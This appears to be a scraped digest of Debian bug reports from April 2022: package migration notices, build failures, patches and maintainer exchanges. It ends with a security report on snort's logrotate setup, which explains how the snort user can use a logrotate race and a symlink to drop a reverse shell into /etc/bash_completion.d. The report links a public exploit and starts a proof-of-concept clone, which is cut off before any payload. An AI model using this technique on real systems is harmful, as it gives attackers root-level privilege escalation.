s390x where your package built successfully in the past. I suggest you 
file an RM bug (ftp.debian.org pseudo package) to have your s390x binary 
remove from unstable.


If a package is out of sync between unstable and testing for a longer 
period, this usually means that bugs in the package in testing cannot be 
fixed via unstable. Additionally, blocked packages can have impact on 
other packages, which makes preparing for the release more difficult. 
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that 
hamper the migration of their package in a timely manner.


This bug will trigger auto-removal when appropriate. As with all new 
bugs, there will be at least 30 days before the package is auto-removed.


I have immediately closed this bug with the version in unstable, so if 
that version or a later version migrates, this bug will no longer affect 
testing. I have also tagged this bug to only affect sid and bookworm, so 
it doesn't affect (old-)stable.


If you believe your package is unable to migrate to testing due to 
issues beyond your control, don't hesitate to contact the Release Team.


Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=tanglet



OpenPGP_signature
Description: OpenPGP digital signature

Bug#1009389: confirming and repair attempt

2022-04-18 Thread Geert Stappers

Hi,

The FTBFS is reproducable `debuild -uc -us`.

Below is a screenshot of my repair attempt.
8<--8<--8<--8<--
stappers@myhost:~/src/lirc
$ cd python-pkg/tests/
stappers@myhost:~/src/lirc/python-pkg/tests
$ python3 -m unittest discover && rm backend.log
E
==
ERROR: test_client (unittest.loader._FailedTest)
--
ImportError: Failed to import test module: test_client
Traceback (most recent call last):
  File "/usr/lib/python3.10/unittest/loader.py", line 436, in _find_test_path
module = self._get_module_from_name(name)
  File "/usr/lib/python3.10/unittest/loader.py", line 377, in 
_get_module_from_name
__import__(name)
  File "/home/stappers/src/lirc/python-pkg/tests/test_client.py", line 116
self.assertEqual(len(lines), 1000)
IndentationError: expected an indented block after 'with' statement on line 110


--
Ran 1 test in 0.000s

FAILED (errors=1)
stappers@myhost:~/src/lirc/python-pkg/tests
$ vi +110 test_client.py 
stappers@myhost:~/src/lirc/python-pkg/tests
$ python3 -m unittest discover && rm backend.log
...E...
==
ERROR: testReceive1AsyncLines (test_client.ReceiveTests)
Receive 1000 lines using the async interface.
--
Traceback (most recent call last):
  File "/home/stappers/src/lirc/python-pkg/tests/test_client.py", line 113, in 
testReceive1AsyncLines
run_until_complete(get_lines(conn, 1000))
NameError: name 'run_until_complete' is not defined

--
Ran 7 tests in 0.748s

FAILED (errors=1)
stappers@myhost:~/src/lirc/python-pkg/tests
$ git diff test_client.py
diff --git a/python-pkg/tests/test_client.py b/python-pkg/tests/test_client.py
index d9af254..9428485 100644
--- a/python-pkg/tests/test_client.py
+++ b/python-pkg/tests/test_client.py
@@ -106,12 +106,12 @@ class ReceiveTests(unittest.TestCase):
   stdout = subprocess.PIPE,
   stderr = subprocess.STDOUT) as child:
 _wait_for_socket()
-loop = asyncio.get_event_loop()
+#loop = asyncio.get_event_loop()
 with LircdConnection('foo',
  socket_path=_SOCKET,
  lircrc_path='lircrc.conf') as conn:
-loop.run_until_complete(get_lines(conn, 1000))
-loop.close()
+run_until_complete(get_lines(conn, 1000))
+#loop.close()
 
 self.assertEqual(len(lines), 1000)
 self.assertEqual(lines[0], 'foo-cmd')
stappers@myhost:~/src/lirc/python-pkg/tests
$ 
8<--8<--8<--8<--

I hope this helps to fix the fails to build from source.


Groeten
Geert Stappers
-- 
Silence is hard to parse

Bug#1009831: src:tetzle: fails to migrate to testing for too long: new build dependency not available on s390x


Source: tetzle
Version: 2.1.6-1
Severity: serious
Control: close -1 2.2.0-1
Tags: sid bookworm
User: release.debian@packages.debian.org
Usertags: out-of-sync

Dear maintainer(s),

The Release Team considers packages that are out-of-sync between testing 
and unstable for more than 60 days as having a Release Critical bug in 
testing [1]. Your package src:tetzle has been trying to migrate for 61 
days [2]. Hence, I am filing this bug. In your latest upload you added a 
new build dependency. However, that build dependency isn't available on 
s390x where your package built successfully in the past. I suggest you 
file an RM bug (ftp.debian.org pseudo package) to have your s390x binary 
remove from unstable.


If a package is out of sync between unstable and testing for a longer 
period, this usually means that bugs in the package in testing cannot be 
fixed via unstable. Additionally, blocked packages can have impact on 
other packages, which makes preparing for the release more difficult. 
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that 
hamper the migration of their package in a timely manner.


This bug will trigger auto-removal when appropriate. As with all new 
bugs, there will be at least 30 days before the package is auto-removed.


I have immediately closed this bug with the version in unstable, so if 
that version or a later version migrates, this bug will no longer affect 
testing. I have also tagged this bug to only affect sid and bookworm, so 
it doesn't affect (old-)stable.


If you believe your package is unable to migrate to testing due to 
issues beyond your control, don't hesitate to contact the Release Team.


Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=tetzle



OpenPGP_signature
Description: OpenPGP digital signature

Bug#1009830: src:uncalled: fails to migrate to testing for too long: new build-dependency doesn't migrate


Source: uncalled
Version: 2.2+ds-3
Severity: serious
Control: close -1 2.2+ds1-1
Tags: sid bookworm
User: release.debian@packages.debian.org
Usertags: out-of-sync

Dear maintainer(s),

The Release Team considers packages that are out-of-sync between testing 
and unstable for more than 60 days as having a Release Critical bug in 
testing [1]. Your package src:uncalled has been trying to migrate for 61 
days [2]. Hence, I am filing this bug. In the latest upload you added a 
new build dependency available in unstable, but that package isn't ready 
to migrate yet.


If a package is out of sync between unstable and testing for a longer 
period, this usually means that bugs in the package in testing cannot be 
fixed via unstable. Additionally, blocked packages can have impact on 
other packages, which makes preparing for the release more difficult. 
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that 
hamper the migration of their package in a timely manner.


This bug will trigger auto-removal when appropriate. As with all new 
bugs, there will be at least 30 days before the package is auto-removed.


I have immediately closed this bug with the version in unstable, so if 
that version or a later version migrates, this bug will no longer affect 
testing. I have also tagged this bug to only affect sid and bookworm, so 
it doesn't affect (old-)stable.


If you believe your package is unable to migrate to testing due to 
issues beyond your control, don't hesitate to contact the Release Team.


Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=uncalled



OpenPGP_signature
Description: OpenPGP digital signature

Bug#1009829: release.debian.org: please add hint: 'allow-uninst cacti-spine/armel' to enable migration of cacti

Package: release.debian.org
Severity: normal

Dear colleagues,

Several days ago, I uploaded a new version of cacti to unstable which
has one arch:all binary. One of it's reverse dependencies is
cacti-spine, which builds an arch:any binary. In my upload I changed
the dependency of libjs-d3 to node-d3 as the latter is a much newer
version of the same thing, which is more in line with cacti
upstream. However, the node ecosystem is broken on armel, hence cacti
doesn't migrate, as its migration would make cacti-spine not
installable on armel. Given that the node failure on armel is long
standing, I think it's acceptable to ignore it for cacti, so please
add the following hint:

allow-uninst cacti-spine/armel

Paul

Bug#959860: rc.local for shutdown

2022-04-18 Thread Mark Hindley

Thorsten,

On Mon, Apr 18, 2022 at 07:44:11AM +0100, Mark Hindley wrote:
> There is already a wishlist bug with patch[1]. Maybe you could test and refine
> it?

I have had a quick look at this today and have the attached patch (based on
Patrick's original suggestions) for review and testing.

Thanks

Mark

diff --git a/debian/src/initscripts/Makefile b/debian/src/initscripts/Makefile
index 4646d5d5..b13eafa3 100644
--- a/debian/src/initscripts/Makefile
+++ b/debian/src/initscripts/Makefile
@@ -27,6 +27,7 @@ install:
 	chmod 755 $(DESTDIR)$(sysconfdir)/init.d/[a-z]*
 	chmod 755 $(DESTDIR)$(sysconfdir)/network/if-up.d/[a-z]*
 	chmod 755 $(DESTDIR)$(sysconfdir)/rc.local
+	chmod 755 $(DESTDIR)$(sysconfdir)/rc.shutdown
 	chmod 644 $(DESTDIR)/lib/init/*.sh
 	chmod -R g-w $(DESTDIR)
 
diff --git a/debian/src/initscripts/etc/init.d/rc.local b/debian/src/initscripts/etc/init.d/rc.local
index f83747e4..8ed74b0f 100644
--- a/debian/src/initscripts/etc/init.d/rc.local
+++ b/debian/src/initscripts/etc/init.d/rc.local
@@ -23,6 +23,16 @@ do_start() {
 	fi
 }
 
+do_stop() {
+	if [ -x /etc/rc.local.shutdown ]; then
+	[ "$VERBOSE" != no ] && log_begin_msg "Running local shutdown scripts (/etc/rc.shutdown)"
+		/etc/rc.shutdown
+		ES=$?
+		[ "$VERBOSE" != no ] && log_end_msg $ES
+		return $ES
+	fi
+}
+
 case "$1" in
 start)
 	do_start
@@ -31,10 +41,14 @@ case "$1" in
 echo "Error: argument '$1' not supported" >&2
 exit 3
 ;;
-stop|status)
+status)
 # No-op
 exit 0
 ;;
+stop)
+	do_stop
+exit 0
+;;
 *)
 echo "Usage: $0 start|stop" >&2
 exit 3
diff --git a/debian/src/initscripts/etc/rc.shutdown b/debian/src/initscripts/etc/rc.shutdown
new file mode 100644
index ..106c7f87
--- /dev/null
+++ b/debian/src/initscripts/etc/rc.shutdown
@@ -0,0 +1,14 @@
+#!/bin/sh -e
+#
+# rc.shutdown
+#
+# This script is executed by /etc/init.d/rc.local stop.
+# Make sure that the script will "exit 0" on success or any other
+# value on error.
+#
+# In order to enable or disable this script just change the execution
+# bits.
+
+if test -d /etc/shutdown.d ; then
+	run-parts /etc/shutdown.d
+fi

Bug#1009827: plocate updatedb is not being run

2022-04-18 Thread Ron Murray

Package: plocate
Version: 1.1.15-2
Severity: normal

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Dear Maintainer,

   The daily update.db job for plocate is not being run. Last time it
ran on my system was December 30, 2021. Manual updates work fine.

   This job should be run by systemd's timer system, but that doesn't
seem to be working for some reason, although other jobs (logrotate for
example) have been run successfully. systemd's timer system leaves its
timestamps in /var/lib/systemd/timers; the timestamp for
plocate-updatedb (indicating the last time that systemd ran it) is
dated December 30, 2021, same as the date of the last automatic run.

   The .service and .timer files for plocate-updatedb look ok to my
(admittedly untrained) eye. Permissions on them are identical to other
files in /lib/systemd/system, and I don't see any mention of plocate
(error or otherwise) in journalctl.

   It seems, then, that systemctl isn't running this job for some
reason, but not logging any errors.

 .Ron

- -- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.17.3.khufu (SMP w/8 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages plocate depends on:
ii  libc6   2.33-7
ii  libgcc-s1   12-20220319-1
ii  libstdc++6  12-20220319-1
ii  liburing2   2.1-2
ii  libzstd11.5.2+dfsg-1

plocate recommends no packages.

Versions of packages plocate suggests:
ii  powermgmt-base  1.36
ii  systemd-sysv250.4-1

- -- no debconf information

-BEGIN PGP SIGNATURE-

iQJCBAEBCgAsFiEETZlw4yMXM0sUHntjEvfoZbXi52EFAmJdrxsOHHJqbXhAcmpt
eC5uZXQACgkQEvfoZbXi52EW5Q//YSH544LLZs4Br2TqVQQbbphi+v4OFOjKoBSr
H5B9zH+mVYQgKZPP3AEwwbsiaswDM4m+JiOMAiDR0n3+RTF+5KY3l6uy2uzA2dbx
XkRowTvD/XzfSCuBR5CZEnLTAZoQW42uiQ6hH/fdmqVmw7MDr5twMgHrfjpeGws+
sbQMWlu52nMAfcu1Dnfi7DtST2jX9Bs+2ItPmzKnvodldMItFRqzjPEKqzTnICa0
/OrWNeX1JKfvcAqmFqNp0WUh3htpY7GhCqUY/92mupr4dCibZMzvBl9A8PPEN8Eu
l/PkBKQDbT3OUQ48T1F8vtQP8wH0hSNuLCgkzfB77bedVzbpX4+t/OBMWkSIWfYF
9TxJZwTBKIcLuRHd+HO8UwkPjbX2Mo6i6c8BdlTWlkF18lktSYRoezSskjbQ1uyq
Hz6LBW66lfYCENNbXB/hoipYLKGgB3jsctr6w5XmTPcEseUjg69TXcdIkF6WSdaT
lDtT0Bt+r4BVtska2zJKEm4zJE7bzZIdmdD23EGzY/zn1cTYuYF+hIsRMlmI+2te
Z6WfyMbconPNIQ3yn2hsb/TNIwSvato8hcqAQ2vVzMISodekPxxHgU9er2Isj2Ps
haZXJoXuOF4QVriUcWxcoNG4WjCotti4IW5ZbCVdJHSviuOfLwQt+4OAa5cBHt8d
5rg1Vp0=
=l+qe
-END PGP SIGNATURE-

Bug#1009828: hfst: impossible depends on armel and mipsel

2022-04-18 Thread Sebastian Ramacher

Package: hfst
Version: 3.16.0-2
Severity: serious
X-Debbugs-Cc: sramac...@debian.org

hfst is currently not able to migrate due to dependency issues on armel
and mipsel:

Issues preventing migration:
∙ ∙ Impossible Depends: hfst -> libfst8/1.6.3-2/armel
∙ ∙ Impossible Depends: hfst -> libfst8/1.6.3-2/mipsel

Cheers
-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#433305: libsasl2-modules-otp: Performing SASL negotiation: invalid parameter supplied


Control: severity -1 wishlist
Control: tags -1 wontfix

On Sun, 13 Apr 2008 12:33:04 +0300 Fabian Fagerholm  wrote:

It seems that sasl-sample-client is not written to support this kind of
prompting at all. I haven't looked too deeply, but that seems to be the
case.


Right. These are just simple test programs to get an idea on how to implement 
each side of the protocol.

Bug#569828: manpages/synop.xsl makes a mess of long function names

2022-04-18 Thread Ben Hutchings

On Mon, 2022-04-18 at 17:22 +0200, Diederik de Haas wrote:
> On Sun, 07 Mar 2010 17:53:11 + Ben Hutchings  wrote:
> > tags 569828 + patch
> > Example output in linux-manual-2.6.32
> 
> Is this still an existing issue?
> 
> I noticed this bug was forwarded to sf, but there have been no reactions to 
> that in almost 8 years. I think it's very unlike that will change as f.e. the 
> project itself has moved to https://github.com/docbook/xslt10-stylesheets and 
> a search for this bug number resulted in 0 hits.
> 
> If it's still useful to get this fixed, then a new submission to the GH 
> project 
> is more useful. Otherwise it may be better to just close the bug?

The kernel documentation no longer uses DocBook.  But if no fix has
been applied then other projects are probably still be affected.

Ben.

-- 
Ben Hutchings
To err is human; to really foul things up requires a computer.


signature.asc
Description: This is a digitally signed message part

Bug#1009826: ITS: screentest

2022-04-18 Thread Boyuan Yang

Source: screentest
Version: 2.0-2.2
Severity: important
X-Debbugs-CC: c...@debian.org

Dear package screentest maintainer in Debian,

After looking into the package you maintain (screentest, 
https://tracker.debian.org/pkg/screentest), I found that this package
received no maintainer updates in the past 11 years and was not in good
shape. As a result, I am filing an ITS (Intent to Salvage) request
against your package according to section 5.12 in Debian's Developers'
Reference [1].

My current plan is to clean up packaging, fix RC bugs and orphan this
package to allow possible external contribution.

Please let me know whether you are still willing to maintain this
package. According to the criteria listed at [2], I will upload a Non-
maintainer Upload (NMU) of this package onto DELAYED/7 after 21 days
(May. 09, 2022) to continue with the package salvaging. If you find it
necessary to pause the ITS process, please let me know immediately by
replying this bug report.


[1] 
https://www.debian.org/doc/manuals/developers-reference/pkgs.en.html#package-salvaging
[2] https://wiki.debian.org/PackageSalvaging

-- 
Best Regards,
Boyuan Yang


signature.asc
Description: This is a digitally signed message part

Bug#1009825: appstream: postrm should be updated to also remove /var/lib/swcatalog

2022-04-18 Thread Alexandre Detiste

Package: appstream
Version: 0.15.3-1
Severity: minor

Hi,

Nowadays, /var/lib/app-info is merely a symlink to
the new canonical location /var/lib/swcatalog.

Please update postrm to also delete the new location.


This bug was found by the cruft-ng utility.

Greetings,

Alexandre Detiste

-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (500, 'testing'), (450, 'unstable'), (400, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.0-6-amd64 (SMP w/6 CPU threads; PREEMPT)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=fr_BE.UTF-8, LC_CTYPE=fr_BE.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_BE:fr
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages appstream depends on:
ii  libappstream4 0.15.2-2
ii  libc6 2.33-7
ii  libglib2.0-0  2.72.0-1+b1
ii  shared-mime-info  2.1-2

appstream recommends no packages.

Versions of packages appstream suggests:
ii  apt-config-icons  0.15.2-2

-- no debconf information

Bug#999620: pktanon: autopkgtest regression on armhf

2022-04-18 Thread Steve Langasek

On Mon, Apr 18, 2022 at 07:46:34PM +0200, Sascha Steinbiss wrote:
> Hi,

> > > Do you think we should wait for this to be fixed? As I said before I (just
> > > from my practical point of view) would be in favor of just removing the
> > > problematic architectures.

> > I have no opinion on this.  But if you want the package to be releasable,
> > you will need to change it so that it is not building a (completely broken
> > and useless) package on armhf, then get agreement with the ftp team to
> > remove the existing armhf binaries.

> Yes, sure. Will file RM bugs right after an upload disabling the builds.

> BTW, since you seem to be knowledgeable in the matter, can you think of any
> other architectures I would need to exclude here other than armhf? Just to
> ensure that I remove a sensible list of affected archs and reduce potential
> rounds of additional RMs...

The other architectures where alignment matters are all obsolete
architectures in Debian.  (alpha, hppa, powerpc, sparc are the ones that
come to mind.)  This could be an issue for running armel binaries on an
arm64 CPU, but I don't see any reason why someone would do that.

-- 
Steve Langasek   Give me a lever long enough and a Free OS
Debian Developer   to set it on, and I can move the world.
Ubuntu Developer   https://www.debian.org/
slanga...@ubuntu.com vor...@debian.org


signature.asc
Description: PGP signature

Bug#1008659: firefox-esr: shows 'XML Parsing Error: no root element found' when using Zoom

2022-04-18 Thread Jakub Alba




On 31/03/2022 00:05, Mike Hommey wrote:

This sounds like /usr/lib/firefox-esr/browser/omni.ja might be
corrupted. Try quitting firefox, reinstalling, and running it again.

Mike


The issue went away without me doing anything. I suppose it can be closed.

Jakub

Bug#1008818: why is this rpm's fault?

2022-04-18 Thread Tzafrir Cohen

On Mon, Apr 18, 2022 at 06:32:07PM +0200, Thomas Lange wrote:
> > On Mon, 18 Apr 2022 16:16:18 +0300, Peter Pentchev  
> > said:
> 
> 
> > If you run sudo without the "set_home" option, thus making it preserve
> > the HOME environment variable, rpm run as root with HOME set to
> > /home/something will indeed do the wrong thing.
> I have no set_home entry in /etc/sudoers and everything in
> /etc/sudo.conf is commented out.
> 
> Here's a test:
> 
> As normal user
> $ export HOME=/tmp/b
> $ sudo rpm -qa
> 
> This still creates /root/.rpmdb
> and not
> /tmp/b/.rpmdb

$ HOME=/tmp/b sudo rpm -q rpm; ls -a /tmp/b
package rpm is not installed
ls: cannot access '/tmp/b': No such file or directory

$ HOME=/tmp/b sudo -E rpm -q rpm; ls -a /tmp/b
package rpm is not installed
.  ..  .rpmdb

-- 
mail / xmpp / matrix: tzaf...@cohens.org.il

Bug#1009359: New security upgrade prevent Chromium from starting

2022-04-18 Thread Andres Salomon

Hm, good question. What I'd start doing is looking at the 
~/.cache/chromium and ~/.config/chromium snapshots, making copies, and 
then trying to run chromium with random stuff deleted.



For example, on my system I have ~/.cache/chromium/Profile 
1/old_Cache_000 and ~/.cache/chromium/System Profile/Code Cache and 
~/.cache/chromium/Profile 1/Cache/Cache_Data/. So I'd start by deleting 
old_Cache_000 and seeing if it still crashes. If it does, I'd get rid of 
the Code Cache as well. If it doesn't still crash, I'd copy Code Cache 
back over and then try deleting Cache_Data. If that directory is needed 
to get it to crash, I'd try deleting files within that directory until I 
had a minimal number of files that still cause the crash. I'd do the 
same for my ~/.config/chromium directory, too.


Once you have a minimal snapshot, you can look at the individual items 
in the snapshot to see if any sensitive work info is in there. If it's 
just, say, internal gitlab urls and pages that don't have proprietary 
details of your workplace, then maybe you could file a bug and include a 
tarball with those. If it does include sensitive data, then either it's 
time to give up or you could try editing the cache/config files to try 
and replace the details in the file. Eg, if the cache has the code name 
of some unreleased product, you might be able to just change the string 
from "Seckrit name" to "foobar1 name" and see if it still crashes.


I don't know how chromium will behave with only half a cache, but it 
would be good to do a sanity check every once in a while by (again, 
after making a backup copy) starting chromium with -g to ensure it 
repairs itself and runs like with your full cache snapshot.



On 4/18/22 03:49, Anthony Callegaro wrote:

Hey Andres,

I do have a copy of the crashing Chromium profile but this is my professional 
one. And though I would love to help discovering a security bug in Chromium, I 
work in a security sensitive environment and wouldn't be able to share it 
without finding a way of selectively removing things from cache.

Do you know if that's even possible ?

Take care
LeTic

Bug#1009824: python3-secretstorage: With Ansible repeated deprecation warnings

2022-04-18 Thread Mark Brandis

Package: python3-secretstorage
Version: 3.3.1-1
Severity: normal
X-Debbugs-Cc: mark.bran...@posteo.de

In combination with Ansible the packages throws a lot of deprecation warnings.

/usr/lib/python3/dist-packages/secretstorage/util.py:46: UserWarning: Passing
unwrap= to .send_and_get_reply() is deprecated and will break in a future
version of Jeepney.
  return self._connection.send_and_get_reply(msg, unwrap=True)

This is very confusing since there are three and more deprecation warnings with
every Ansible task.


-- System Information:
Debian Release: bookworm/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.0-6-amd64 (SMP w/4 CPU threads; PREEMPT)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL 
set to en_US.UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages python3-secretstorage depends on:
ii  dbus  1.14.0-1
ii  python3   3.10.4-1
ii  python3-cryptography  3.4.8-1
ii  python3-jeepney   0.8.0-1

python3-secretstorage recommends no packages.

Versions of packages python3-secretstorage suggests:
ii  gnome-keyring 40.0-3
pn  python-secretstorage-doc  

-- no debconf information

Bug#1009823: halide: FTBFS on arm64

2022-04-18 Thread Sebastian Ramacher

Source: halide
Version: 14.0.0-1
Severity: serious
Tags: ftbfs
Justification: fails to build from source (but built successfully in the past)

halide FTBFS on arm64:

317/569 Test #317: correctness_strided_load ... 
  Passed1.12 sec
Start 318: correctness_target
318/569 Test #318: correctness_target . 
  Passed0.06 sec
Start 319: correctness_thread_safety
E: Build killed with signal TERM after 150 minutes of inactivity


See
https://buildd.debian.org/status/fetch.php?pkg=halide&arch=arm64&ver=14.0.0-1&stamp=1649974599&raw=0

Cheers
-- 
Sebastian Ramacher

Bug#999620: pktanon: autopkgtest regression on armhf

2022-04-18 Thread Sascha Steinbiss


Hi,


Do you think we should wait for this to be fixed? As I said before I (just
from my practical point of view) would be in favor of just removing the
problematic architectures.


I have no opinion on this.  But if you want the package to be releasable,
you will need to change it so that it is not building a (completely broken
and useless) package on armhf, then get agreement with the ftp team to
remove the existing armhf binaries.


Yes, sure. Will file RM bugs right after an upload disabling the builds.

BTW, since you seem to be knowledgeable in the matter, can you think of 
any other architectures I would need to exclude here other than armhf? 
Just to ensure that I remove a sensible list of affected archs and 
reduce potential rounds of additional RMs...


Thanks
Sascha


OpenPGP_signature
Description: OpenPGP digital signature

Bug#1009822: gnss-sdr: autopkgtest regression

2022-04-18 Thread Sebastian Ramacher

Source: gnss-sdr
Version: 0.0.16-1
Severity: serious
Tags: sid bookworm

gnss-sdr's autopkgtest fail with gr-osmosdr 0.2.3-6

autopkgtest [14:10:33]: test testgnsssdr: [---
terminate called after throwing an instance of 'std::runtime_error'
  what():  rpcmanager: Aggregator not in use, and a rpc booter is already 
registered
Aborted
autopkgtest [14:10:33]: test testgnsssdr: ---]
autopkgtest [14:10:33]: test testgnsssdr:  - - - - - - - - - - results
- - - - - - - - - -
testgnsssdr  FAIL non-zero exit status 134
autopkgtest [14:10:34]: test testgnsssdr:  - - - - - - - - - - stderr
- - - - - - - - - -
terminate called after throwing an instance of 'std::runtime_error'
  what():  rpcmanager: Aggregator not in use, and a rpc booter is already 
registered
Aborted
autopkgtest [14:10:34]:  summary
testgnsssdr  FAIL non-zero exit status 134


See
https://ci.debian.net/data/autopkgtest/testing/amd64/g/gnss-sdr/20968987/log.gz

Cheers
-- 
Sebastian Ramacher

Bug#949843: sbuild: add systemd-nspawn chroot mode

2022-04-18 Thread Luca Boccassi

On Mon, 4 Apr 2022 15:28:01 -0700 Daniel Schepler 
wrote:
> On Mon, Apr 4, 2022 at 3:03 PM Luca Boccassi 
wrote:
> >
> > On Sat, 25 Jan 2020 11:36:09 -0800 Daniel Schepler
> >  wrote:
> > > Package: sbuild
> > > Version: 0.78.1-2
> > > Severity: wishlist
> > >
> > > Here's my initial version of the cleaned up patch for adding a
> > > --chroot-mode=systemd-nspawn.  Some things I'm not sure about:
> > > - Should we maybe ping upstream and/or Debian maintainers on
> > > https://github.com/systemd/systemd/issues/13297 to see how hard
it
> > > would be to get it fixed so I could remove that whole ugly
> > workaround?
> > >  (The workaround also only handles bind mount settings at present
-
> > > and for example, I've found that a lot of package builds will
require
> > > SystemCallFilter=@memlock due to a lot of crypto libraries and
> > > utilities giving errors if they're denied access to mlock.  So I
> > would
> > > probably want to add that to my
> > > /etc/systemd/nspawn/unstable-amd64-sbuild.nspawn config file.)
> >
> > As mentioned on
https://github.com/systemd/systemd/issues/13297 adding
> > --ephemeral means the machine name has a randomized suffix. Passing
--
> > machine=$chroot should ensure the config files are picked up as
> > expected.
> 
> OK, if I did that, then would that mean that it's no longer possible
> to have two sbuild processes using the same base chroot at the same
> time?  (Not that that would be too much of an issue in practice.
> Though I do admit it's convenient to be able to have my micro_buildd
> script running one sbuild instance, while on another terminal I can
> run a manual build with e.g. DEB_BUILD_OPTIONS=nocheck sbuild ...
> --profiles=nocheck tobootstrap_1.0 .)

Ok, sounds like it's worth supporting:

https://github.com/systemd/systemd/pull/23110

> > > - It currently requires giving sudo access for systemd-run, which
> > > essentially would open up execution of anything desired.  And the
> > fact
> > > that it requires NOPASSWD (because some of the commands redirect
> > > stdin/stdout) makes things even worse.  And even if you restrict
it
> > to
> > > e.g. "systemd-run -M unstable-amd64-sbuild*" it still seems it
would
> > > be possible to fool that with something like "sudo systemd-run -M
> > > unstable-amd64-sbuild -M .host ~/myevilcmd".
> >
> > This seems to be used to implement manual synchronization, but this
is
> > not necessary as it's already implemented, see:
> >
> >
https://www.freedesktop.org/software/systemd/man/systemd-nspawn.html#--notify-ready=
> 
> That's just one use of systemd-run, and a minor one at that.  The
main
> use is to run the commands that sbuild needs to invoke, from "apt-get
> update", "apt-get dist-upgrade", "apt-get source package=ver",
> "dpkg-source -x filename.dsc", "dpkg-buildpackage" (with
> --property=PrivateNetwork=yes on this one), "cat *.changes" into a
> pipe, etc.
> 
> And as for synchronization, I think I do remember seeing the
> --notify-ready option.  But the man page said the notification would
> be going to systemd, and I didn't immediately see any way for the

Any reason to boot the chroot instead of just running commands in it?
That would remove the need for all of this, no?

-- 
Kind regards,
Luca Boccassi


signature.asc
Description: This is a digitally signed message part

Bug#1009821: ITP: r-cran-skimr -- Compact and Flexible Summaries of Data

2022-04-18 Thread Eric Brown

Package: wnpp
Severity: wishlist
X-Debbugs-Cc: e...@ericebrown.com

Subject: ITP: r-cran-skimr -- Compact and Flexible Summaries of Data
Package: wnpp
Owner: Eric Brown 
Severity: wishlist

* Package name: r-cran-skimr
  Version : 2.1.4
  Upstream Author : Copyright: FIXME-2022 Elin Waring,
* URL : https://cran.r-project.org/package=skimr
* License : GPL-3
  Programming Lang: GNU R
  Description : Compact and Flexible Summaries of Data
 A simple to use summary function that can be used with pipes
 and displays nicely in the console. The default summary statistics may
 be modified by the user as can the default formatting.  Support for
 data frames and vectors is included, and users can implement their own
 skim methods for specific object types as described in a vignette.
 Default summaries include support for inline spark graphs.
 Instructions for managing these on specific operating systems are
 given in the "Using skimr" vignette and the README.

Remark: This package is maintained by Debian R Packages Maintainers at
   https://salsa.debian.org/r-pkg-team/r-cran-skimr

Bug#1009820: snort: Privilege escalation due to insecure use of logrotate

2022-04-18 Thread Wolfgang Hotwagner

Package: snort
Version: 2.9.15.1-5
Severity: critical
Tags: security upstream
Justification: root security hole
X-Debbugs-Cc: sec-advis...@ait.ac.at

Dear Maintainer,

The path of the logdirectory of snort can be manipulated by user

Snort in Debian Bullseye:

# ls -ld /var/log/snort/
drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/
 

The files in /var/log/snort/*/*log are once a day rotated by

logrotate as user root with the following config:

/var/log/snort/snort.alert /var/log/snort/snort.alert.fast /var/log/snort/*log 
/var/log/snort/*/alert /var/log/snort/*/*log {
daily
rotate 7
compress
missingok
notifempty
create 0640 snort adm
sharedscripts
postrotate
if [ -x /usr/sbin/invoke-rc.d ]; then \
invoke-rc.d snort restart > /dev/null; \
else \
/etc/init.d/snort restart > /dev/null; \
fi; 
endscript
}

Due to logrotate is prone to a race-condition(see the link to my blog below) it 
is possible for user "snort" to replace or create any directory in 
/var/log/snort/ with a symbolik link to any

directory(for example /etc/bash_completion.d). logrotate will place files AS 
ROOT into /etc/bash_completition.d and set the owner and group to "snort.adm". 
An attacker could simply place a reverse-shell into this file. As soon as root 
logs in, a reverse shell will be executed then.

You can find an exploit for this bug at my blog: 
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
 and https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition

Proof of Concept:
#

snort@b8ff2e70f94d:~$ cd /tm

snort@b8ff2e70f94d:/tmp$ git clone https://github.com/whotwagner/logrotten.git
Cloning into 'logrotten'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87
Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done.
Resolving deltas: 100% (41/41), done.
snort@b8ff2e70f94d:/tmp$ cd logrotten/
